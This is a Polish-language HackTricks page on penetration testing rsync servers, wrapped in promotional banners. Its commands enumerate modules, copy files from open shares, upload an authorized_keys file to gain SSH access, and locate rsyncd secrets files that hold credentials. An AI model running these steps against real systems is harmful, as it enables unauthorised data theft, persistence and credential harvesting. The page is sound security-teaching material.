# 873 - Testowanie penetracyjne Rsync
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
## **Podstawowe informacje** Z [wikipedia](https://en.wikipedia.org/wiki/Rsync): > **rsync** to narzędzie do efektywnego [transferu](https://en.wikipedia.org/wiki/File\_transfer) i [synchronizacji](https://en.wikipedia.org/wiki/File\_synchronization) [plików](https://en.wikipedia.org/wiki/Computer\_file) między komputerem a zewnętrznym dyskiem twardym oraz między [komputerami](https://en.wikipedia.org/wiki/Computer) w sieci poprzez porównywanie [czasów modyfikacji](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) i rozmiarów plików.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) Jest powszechnie stosowany w systemach operacyjnych typu [Unix-like](https://en.wikipedia.org/wiki/Unix-like). Algorytm rsync to rodzaj [kodowania delta](https://en.wikipedia.org/wiki/Delta\_encoding) i jest używany do minimalizowania użycia sieci. [Zlib](https://en.wikipedia.org/wiki/Zlib) może być używany do dodatkowego [kompresowania danych](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) a [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) lub [stunnel](https://en.wikipedia.org/wiki/Stunnel) mogą być używane do zabezpieczeń. **Domyślny port:** 873 ``` PORT STATE SERVICE REASON 873/tcp open rsync syn-ack ``` ### Wyliczanie #### Baner i komunikacja manualna Podczas wyliczania usługi rsync, warto rozpocząć od sprawdzenia banera, który może zawierać informacje o wersji i konfiguracji serwera rsync. Można to zrobić, wykonując polecenie: ```bash nc 873 ``` Po nawiązaniu połączenia, można ręcznie komunikować się z serwerem rsync, wysyłając i odbierając polecenia. Przykładowe polecenia, które można użyć to: ```bash @RSYNCD: ``` ```bash @ERROR: ``` Ta metoda pozwala na ręczne eksplorowanie usługi rsync i uzyskiwanie informacji o jej konfiguracji i funkcjonalnościach. ```bash nc -vn 127.0.0.1 873 (UNKNOWN) [127.0.0.1] 873 (rsync) open @RSYNCD: 31.0 <--- You receive this banner with the version from the server @RSYNCD: 31.0 <--- Then you send the same info #list <--- Then you ask the sever to list raidroot <--- The server starts enumerating USBCopy NAS_Public _NAS_Recycle_TOSRAID <--- Enumeration finished @RSYNCD: EXIT <--- Sever closes the connection #Now lets try to enumerate "raidroot" nc -vn 127.0.0.1 873 (UNKNOWN) [127.0.0.1] 873 (rsync) open @RSYNCD: 31.0 @RSYNCD: 31.0 raidroot @RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password ``` ### **Wyszukiwanie udostępnionych folderów** **Moduły Rsync** są rozpoznawane jako **udostępnione katalogi**, które mogą być **chronione hasłami**. Aby zidentyfikować dostępne moduły i sprawdzić, czy wymagają hasła, używane są następujące polecenia: ```bash nmap -sV --script "rsync-list-modules" -p msf> use auxiliary/scanner/rsync/modules_list # Example with IPv6 and alternate port rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730 ``` Bądź świadomy, że niektóre udziały mogą nie pojawić się na liście, co może oznaczać ich ukrycie. Ponadto, dostęp do niektórych udziałów może być ograniczony do określonych **poświadczeń**, co jest sygnalizowane przez komunikat **"Odmowa dostępu"**. ### [**Atak Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync) ### Ręczne użycie Rsync Po uzyskaniu listy **modułów**, działania zależą od tego, czy wymagane jest uwierzytelnienie. Bez uwierzytelnienia, **wylistowanie** i **kopiowanie** plików z udostępnionego folderu do lokalnego katalogu osiąga się poprzez: ```bash # Listing a shared folder rsync -av --list-only rsync://192.168.0.123/shared_name # Copying files from a shared folder rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared ``` Ten proces **rekursywnie przesyła pliki**, zachowując ich atrybuty i uprawnienia. Z użyciem **poświadczeń**, można wylistować i pobrać pliki z udostępnionego folderu, postępując w następujący sposób, gdzie pojawi się prośba o podanie hasła: ```bash rsync -av --list-only rsync://username@192.168.0.123/shared_name rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared ``` Aby **przesłać zawartość**, taką jak plik _**authorized_keys**_ dla dostępu, użyj: ```bash rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh ``` ## POST Aby zlokalizować plik konfiguracyjny rsyncd, wykonaj: ```bash find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \) ``` W tym pliku parametr _secrets file_ może wskazywać na plik zawierający **nazwy użytkowników i hasła** do uwierzytelniania rsyncd. ## Referencje * [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.